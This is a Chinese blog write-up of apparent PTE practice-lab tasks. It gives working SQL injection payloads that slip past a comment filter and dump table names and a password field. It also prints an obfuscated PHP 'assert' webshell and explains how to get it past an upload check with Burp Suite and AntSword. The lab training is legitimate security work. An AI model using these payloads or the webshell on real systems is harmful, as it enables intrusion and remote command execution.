PTE

亚伦的博客 / 2024-07-13 / 原文

0 环境及工具

操作系统: Windows10

工具: BurpsuiteAntSword-蚁剑

1 SQL 注入

所谓 SQL 注入,就是通过把 SQL 命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。

数据库中可以找到Key1

解题思路:题目告诉通过数据库中找到 key ,那么就不存在通过二阶 SQL 注入方式获得。

首先,创建一个用户“1”,密码“123”。

简单了解到通过提交文章可以查询到数据库中的数据,所以我们可以通过在文章中注入SQL语句获取数据库内 key 值。

img

测试上传发现,

  1. 插入的 SQL 语句中会上传标题,内容和用户名。
  2. 代码过滤“--”和“#”注释符号。

解题方法1:通过“-#-”的方式绕过代码过滤,编写SQL注入语句。

解题方法2:通过构建多个插入语句方式绕过。

下面采用第二种方式解答。

1.1 查找数据库

1','123admin'),('1',database(),'select version()

通过构建第二个 sql 语句得到数据库名:

img

img

发现到数据库名“2web”。

1.2 查看表名

1','123'),('1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'3

通过“/**/”的方式代替空格,获取当前数据库下的表名。

1','123'),('1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'3

img

img

发现存在三个表,分别为“article”,“article1”和“users1”。最后一个表最有可能存在 key 值。

1.3 查看 user1 表

1','123'),('1',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users1'),'3

img

img

1.4 查看 password 字段值

1','123'),('1',(select/**/password/**/from/**/users1/**/limit/**/0,1),'3','123')

通过 limit 关键字从头查找,找到 key 值为“u9y8tr4n”。

img

img

2 文件上传突破

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

尝试获取 webshell,答案就在根目录下 key.php 文件中

解题思路:文件上传的关键点在于文件木马,

2.1 制作木马

可以通过随机图片拼接 php 木马文件,也可以在木马文件名开头包含图片首并修改后缀名的方式。这里选择方式1制作。

木马为:

<?php
    $a="a"."s";
    $b="s"."e"."rt";
    $c=$a.$b;
    $c($_POST['cmd']);
?>

img

2.2 burpsuite 重放

通过 burpsuite 拦截文件上传并修改“content-Disposition”中的“filename”修改后缀名为“php”。

img

2.3 获取 webshell

通过蚁剑方式创建 webshell 连接,从而访问服务器内数据,获取 key 值为“a1b2c3d4”。

img

img

img